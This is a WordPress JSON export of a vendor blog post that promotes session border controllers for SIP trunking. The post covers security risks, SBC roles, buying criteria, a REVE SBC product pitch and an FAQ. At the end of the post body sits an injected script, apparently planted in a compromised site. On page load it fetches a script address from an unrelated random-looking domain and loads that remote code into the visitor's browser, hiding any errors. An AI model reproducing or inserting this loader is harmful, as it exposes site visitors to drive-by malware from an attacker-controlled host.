{"id":2382,"date":"2025-06-24T02:42:57","date_gmt":"2025-06-24T02:42:57","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=2382"},"modified":"2025-09-05T10:36:37","modified_gmt":"2025-09-05T10:36:37","slug":"importance-session-border-controller-sip-trunking","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/sbc\/importance-session-border-controller-sip-trunking\/","title":{"rendered":"Importance of a Session Border Controller in SIP Trunking"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Old school phone lines are a thing of the past; modern-day digital business communication leverages SIP trunking to connect business phone systems over the internet in a flexible, scalable, and secure manner. However, with all the benefits SIP trunking brings, it comes with a few challenges as well, and that&#8217;s where a Session Border Controller helps.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Through this blog, we are going to explore a common yet very important topic &#8211; Why having an SBC in your SIP trunking is essential. <\/span><\/p>\n<h2>What is SIP Trunking?<\/h2>\n<p><span style=\"font-weight: 400;\">SIP Trunking is the process by which a business phone system can function using the internet connection rather than traditional phone lines. Rather than conventional telephone trunks, SIP Trunking uses VoIP technology to connect to the internet.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">This means that businesses can make and receive calls over the internet using the SIP protocol. Here, SIP trunks connect the IP PBX (Internet Protocol Private Branch Exchange) of the business to the Public Switched Telephone Network (PSTN) via a VoIP (Voice over IP) provider.<\/span><\/p>\n<h3>Example of SIP Trunking<\/h3>\n<p><span style=\"font-weight: 400;\">Consider an organization that has 40 employees. So instead of installing 40 separate telephone lines, the organization uses SIP trunking so that all those calls happen over the internet connection. They only pay for the number of simultaneous call channels they need, benefiting from lower costs and more flexibility.\u00a0<\/span><\/p>\n<h2>Why is SIP Trunking so Useful?<\/h2>\n<p><span style=\"font-weight: 400;\">Switching to SIP trunking from traditional telephony is certainly a smart and strategic move because it solves the many hassles associated with conventional phone systems<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Here are some of the major points highlighting why SIP trunking is a game-changer for modern businesses:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">It eliminates the requirement of wiring or circuit boxes for connectivity, as the SIP trunk is installed virtually. Reducing multiple phone lines drastically minimizes the operational cost and simplifies the entire communication setup.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">SIP trunking is software-based, which makes it easy to add or remove SIP lines in real-time based on business demand.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">It is location-independent since everything happens over the internet, which means the phone system can be operated from anywhere. So businesses with a remote workforce and having offices in different locations can make and receive calls on their office number using an SIP app on their laptops or smartphones.\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">SIP trunking comes with built-in failover and redundancy options that help maintain business continuity in case your primary SIP trunk goes down.\u00a0<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2>Challenges in SIP Deployments<\/h2>\n<p><span style=\"font-weight: 400;\">Like any other technology, SIP trunking comes with its own set of hurdles. Let&#8217;s take a closer look at the challenges that businesses face in the real world when <a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/sip-trunking\/\" target=\"_blank\" rel=\"noopener\">adopting SIP trunking<\/a>.\u00a0<\/span><\/p>\n<h3>1. Exposure to the Internet Creates Security Risks<\/h3>\n<p><span style=\"font-weight: 400;\">While the internet is the biggest strength of SIP trunking, it is also its biggest vulnerability. We know that traditional phone lines operate over closed and dedicated circuits, whereas in the case of SIP, the public internet is the foundation over which SIP trunking runs. This exposure leads all the SIP-enabled devices, PBX systems, and trunks to become potential targets for several threats, including DDoS attacks, <a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/telecom-fraud-management\/\" target=\"_blank\" rel=\"noopener\">toll fraud<\/a>, spoofing, eavesdropping, and registration hijacking<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Without implementing strong security measures like encryption, deploying <a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/sbc-vs-firewall\/\" target=\"_blank\" rel=\"noopener\">firewalls and SBCs<\/a>, and enforcing authentication mechanisms, businesses are highly likely to face losses.\u00a0<\/span><\/p>\n<h3>2. Compatibility Issues Can Disrupt Call Flows<\/h3>\n<p><span style=\"font-weight: 400;\">Though SIP is a standard, different vendors have their own versions of SIP implementation, which might not speak the same &#8216;language&#8217;. This means that your IP PBX from Vendor A not not work nicely with your SIP trunk from Vendor B. Various symptoms appear because of SIP incompatibility, including one-way audio, call dropping, inconsistent call flow, etc.\u00a0<\/span><\/p>\n<h3>3. Bandwidth Dependency Creates Call Quality Issues<\/h3>\n<p><span style=\"font-weight: 400;\">SIP calls utilize your existing data network, which means they share bandwidth with other online traffic, including your emails, file transfers, video calls, and streaming services. Because of this shared bandwidth, SIP calls often suffer from common internet issues, including jitter, packet loss, latency, congestion, etc.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">All of the above-mentioned issues, including security threats, interoperability issues, and call quality glitches, should be addressed properly to enjoy seamless communication flow. That&#8217;s where tools like Session Border Controllers (SBCs) come into play.<\/span><\/p>\n<h2>What is a Session Border Controller?<\/h2>\n<p><span style=\"font-weight: 400;\">Session Border Controller is a key element of modern SIP Trunking as it monitors all sessions crossing between the internal enterprise network and the external ITSP network.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">An SBC is responsible for determining the routing of each session based on priority. Before understanding the importance of a <\/span><a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Session Border Controller<\/span><\/a><span style=\"font-weight: 400;\"> in SIP Trunking, you should know what this terminology means. Let me go step-by-step.<\/span><\/p>\n<h2>Role of SBC in SIP Trunking<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2391\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/09\/SBC-ssl-01-01.png\" alt=\"SBC SIP Trunking\" width=\"3314\" height=\"1210\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/09\/SBC-ssl-01-01.png 3314w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/09\/SBC-ssl-01-01-300x110.png 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/09\/SBC-ssl-01-01-768x280.png 768w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2021\/09\/SBC-ssl-01-01-1024x374.png 1024w\" sizes=\"auto, (max-width: 3314px) 100vw, 3314px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Although SIP Trunking has become an important part of the modern communication system, there are certain security challenges, including communication issues, that need to be addressed. Here, an SBC plays an important role in enhancing security by preventing incoming threats such as DDoS Attacks, Premium Number Fraud, Missed Call Fraud, etc. SBC and SIP Trunking are common terminologies when we talk about an enterprise network.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Compared to a firewall, an SBC provides better control, offering policy enforcement, deep packet inspection, and security functionality. Connecting your phone system to an IP Network opens the door for several types of threats, which can be prevented with the deployment of a Session Border Controller. An SBC secures the internal network from the external world using topology hiding. Although companies adopt Virtual Private Networks (VPNs) and <\/span><a href=\"https:\/\/www.cisco.com\/c\/en\/us\/products\/ios-nx-os-software\/multiprotocol-label-switching-mpls\/index.html\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Multiprotocol Label Switching (MPLS)<\/span><\/a><span style=\"font-weight: 400;\"> to prevent security threats, an SBC is always a powerful addition.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">SBC can fine-tune the interoperability between disparate VoIP systems and digital PBXs. The typical role of the SBC is to intercept calls from telecom providers and route them to the predetermined systems.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Based on the network usage and policies framed for the network, SBC can decide how much bandwidth is required for a particular session. An SBC can use a codec conversion feature to provide interoperability.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The SBC finds its place in both customers&#8217; and carriers&#8217; end for a better security setup. Usually known as eSBCs, these Session Border Controllers keep the unified communication network safe from unauthorized intrusions.<\/span><\/p>\n<h2>Benefits of Deploying an SBC in SIP Trunking<\/h2>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Supports the internal network to implement both voice and data services.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Optimizes the use of bandwidth and assigns the right quantity, so that both voice and data services can be delivered over the same connection.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Provides additional flexibility in purchasing voice capacity.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Enables flexible routing of calls to the preferred carrier \u2014 route calls to local or SIP<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Implements complete encryption of voice calls to meet security needs<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Establishes better interconnection with cellular networks so a call placed to a cellphone also rings on a desktop phone<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Grants the ability to route calls to different locations based on call volume, source of call, or other policies<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2>Choosing the Right SBC: Key Considerations<\/h2>\n<h3>Choose the Right Deployment<\/h3>\n<p><span style=\"font-weight: 400;\">One of the primary considerations when choosing the <a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/what-is-session-border-controller\/\" target=\"_blank\" rel=\"noopener\">right SBC<\/a> for your organization is to choose the type of deployment that aligns with your requirements. SBCs come in three main deployment types &#8211; hardware-based, virtualized, and cloud-hosted. While each of these deployments has its own set of advantages, you need to consider your infrastructure, call volume, and IT resources before making a move.\u00a0<\/span><\/p>\n<p><b>1. Hardware-Based SBCs\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">As the name suggests, these SBCs are physical appliances deployed on-site, i.e, within the physical premises of the organization. These SBCs are an ideal fit for businesses or large enterprises with in-house data centers and high-security and full-control requirements.\u00a0<\/span><\/p>\n<p><b>2. Virtualized SBCs<\/b><\/p>\n<p><span style=\"font-weight: 400;\">These types of SBCs are software-based and deployed on virtual machines, offering more flexibility and cost-effectiveness. Medium-sized businesses that have internal IT teams or hybrid deployments should opt for this type.\u00a0<\/span><\/p>\n<p><b>3. Cloud-Based SBCs\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">These types of SBCs are hosted and managed in the <a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/cloud-sbc\/\" target=\"_blank\" rel=\"noopener\">cloud by third-party<\/a> providers and delivered as a service, often called SBCaaS. Small to medium-sized businesses or SMBs can take advantage of cloud-hosted SBCs because these are quickly deployed and require no hardware maintenance, and are easily affordable.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Once you have clarity about which <a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/session-border-controller-deployment-areas\/\" target=\"_blank\" rel=\"noopener\">type of deployment<\/a> you need, then proceed with the following questions to gain a better understanding of your suitability<\/span><\/p>\n<p><b>What are its security capabilities?<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Since the primary function of an SBC is to <a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/how-sbc-can-secure-voip-communication-network\/\" target=\"_blank\" rel=\"noopener\">safeguard your VoIP<\/a> network and maintain the integrity of your SIP sessions, therefore, you should look for advanced security features such as\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">SIP message filtering<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">DoS\/DDoS protection<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">TLS\/SRTP encryption<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Call fraud prevention\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Two-factor authentication (2FA)<\/span><\/li>\n<\/ul>\n<p><b>Does it perform Interoperability and SIP Normalization?\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">This one is extremely important if you are connecting with multiple carriers or offering services to diverse enterprise clients. Your SBC should be capable of handling protocol mismatches efficiently through SIP normalization, making sure that disparate systems can work together in coherence<\/span><b>.\u00a0<\/b><\/p>\n<p><b>How does it handle call quality and media streams?\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">An SBC with the following features would be able to enhance the quality of service:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Jitter buffer management<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Media anchoring<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Codec transcoding<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Call admission control<\/span><\/li>\n<\/ul>\n<p><b>How does it ensure business continuity in the event of hardware or network failure?\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Downtime is certainly not an option for modern businesses, especially those with mission-critical services. Therefore, look for an SBC that offers:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">1+1 hot standby<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Automatic failover<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Geo-redundancy<\/span><\/li>\n<\/ul>\n<p><b>How scalable is the SBC?\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Whether you&#8217;re handling 100 or 100,000 concurrent calls, the SBC solution should offer the required flexibility. To ensure this, you may look for the following:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Licensing models (pay-as-you-grow)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Multi-tenant support (if you\u2019re a service provider)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">High throughput without performance degradation<\/span><\/li>\n<\/ul>\n<p><b>Does it offer reporting and analytics?\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">In order to manage your VoIP network efficiently, you need to quickly identify issues and optimize traffic flow. An SBC that supports real-time monitoring, alerting, and reporting features will help you do that. So, ensure that your SBCs dashboard includes the following:\u00a0<\/span><\/p>\n<ul>\n<li aria-level=\"1\">Call detail records (CDRs)<\/li>\n<\/ul>\n<ul>\n<li aria-level=\"1\">Performance metrics<\/li>\n<\/ul>\n<ul>\n<li aria-level=\"1\">User behavior tracking<\/li>\n<\/ul>\n<ul>\n<li aria-level=\"1\">Fraud alerts<\/li>\n<\/ul>\n<p><b>How easy is it to use?\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Modern-day SBCs do not require you to have deep technical skills to configure, monitor, and manage them. They are equipped with intuitive user interfaces, API access, and centralized dashboards that are easy to administer.\u00a0<\/span><\/p>\n<p><b>Does it offer integration and billing support?\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Select those SBCs that offer built-in billing systems and integrate with CRMs and other critical business tools.\u00a0<\/span><\/p>\n<p><b>How reliable is the vendor?\u00a0<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Besides the technology, the reputation of the vendor matters a lot. Check whether they offer 24\/7 technical support services. Also, look for consultation services for setup and scaling.\u00a0<\/span><\/p>\n<h2>Conclusion<\/h2>\n<p><span style=\"font-weight: 400;\">Although Enterprise SBC is increasingly used in several unified communication setups, it\u2019s ultimately your choice to deploy an SBC or not, considering the type of systems you need to connect and the security you expect.<\/span><\/p>\n<h3>Try REVE SBC with a Free Demo &amp; Expert Consultation<\/h3>\n<p><span style=\"font-weight: 400;\">Are you still thinking of securing and optimizing your SIP trunking environment? You can <a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\" target=\"_blank\" rel=\"noopener\">trust REVE SBC<\/a>, which is a robust, carrier-grade solution designed specifically for <a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/communication-service-providers-need-session-border-controller\/\" target=\"_blank\" rel=\"noopener\">VoIP providers<\/a>, wholesale carriers, and large enterprises. Our session border controller gives you full visibility, security, and performance control over your voice traffic with these powerful features:\u00a0<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Real-Time Fraud Detection<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">SIP Normalization<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">1+1 Hot Standby<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">CLI Management<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Call Simulation<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">WebRTC Integration<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">You can experience REVE SBC firsthand by availing <a href=\"https:\/\/www.revesoft.com\/demo-request\" target=\"_blank\" rel=\"noopener\">a free trial<\/a> and personalized demo. Our experts will walk you through the key functionalities based on your specific network environment. Additionally, you can receive free consultation to understand the best deployment model &#8211; on-premise or cloud, and see how REVE SBC can strengthen your VoIP infrastructure.\u00a0<\/span><\/p>\n<h2>Frequently Asked Questions<\/h2>\n<h3>Are SBCs the same as Firewalls?<\/h3>\n<p><span style=\"font-weight: 400;\">No, firewalls are meant to protect general traffic, while SBCs are designed to manage and protect SIP traffic.\u00a0<\/span><\/p>\n<h3>Are SBCs useful for small businesses?<\/h3>\n<p><span style=\"font-weight: 400;\">Of course, if a small business relies heavily on SIP trunking for communication, then it can opt for cloud-based SBCs, which are easily affordable.\u00a0<\/span><\/p>\n<h3>How are on-premise and cloud SBCs different?<\/h3>\n<p><span style=\"font-weight: 400;\">On-premise SBCs require hardware and equipment installation and provide more control. On the other hand, cloud SBCs are managed by third-party vendors and offer more flexibility and scalability.\u00a0<\/span><\/p>\n<h3>How does an SBC help if my PBX and SIP provider aren&#8217;t compatible?<\/h3>\n<p><span style=\"font-weight: 400;\">SBCs normalize SIP signaling so that disparate systems can work together seamlessly.\u00a0<\/span><\/p>\n<h3>Do SBCs help in improving the quality of calls?<\/h3>\n<p><span style=\"font-weight: 400;\">SBCs enforce QoS policies, manage media paths, and prevent poor connections from degrading the voice experience, which improves call quality.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><a class=\"btn btn-primary\" style=\"padding: 8px 12px; font-size: 18px;\" href=\"https:\/\/www.revesoft.com\/registration\/free-voip-reve-sbc\" target=\"_blank\" rel=\"noopener\">Contact for Free Demo<\/a><\/p>\n<h2 style=\"text-align: center;\"><strong>Read Also<\/strong><\/h2>\n<h3 style=\"text-align: center;\"><a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/prevent-spoofed-robocalls-stirshaken-role-sbc\/\" target=\"_blank\" rel=\"noopener\">How to Prevent Spoofed Robocalls with STIR\/SHAKEN\u2013 Role of an SBC<\/a><\/h3>\n<h3 style=\"text-align: center;\"><a href=\"https:\/\/www.revesoft.com\/blog\/sbc\/sipvoip-fraud-attacks-operators-need-reliable-solution\/\" target=\"_blank\" rel=\"noopener\">SIP\/VoIP Fraud Attacks: Why Operators Need a Reliable Solution?<\/a><\/h3>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Old school phone lines are a thing of the past; modern-day digital business communication leverages SIP trunking to connect business phone systems over the internet in a flexible, scalable, and secure manner. However, with all the benefits SIP trunking brings, it comes with a few challenges as well, and that&#8217;s where a Session Border Controller [&hellip;]<\/p>\n","protected":false},"author":8,"featured_media":2385,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[74],"tags":[],"class_list":["post-2382","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sbc"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2382","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=2382"}],"version-history":[{"count":19,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2382\/revisions"}],"predecessor-version":[{"id":6328,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/2382\/revisions\/6328"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/2385"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=2382"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=2382"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=2382"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}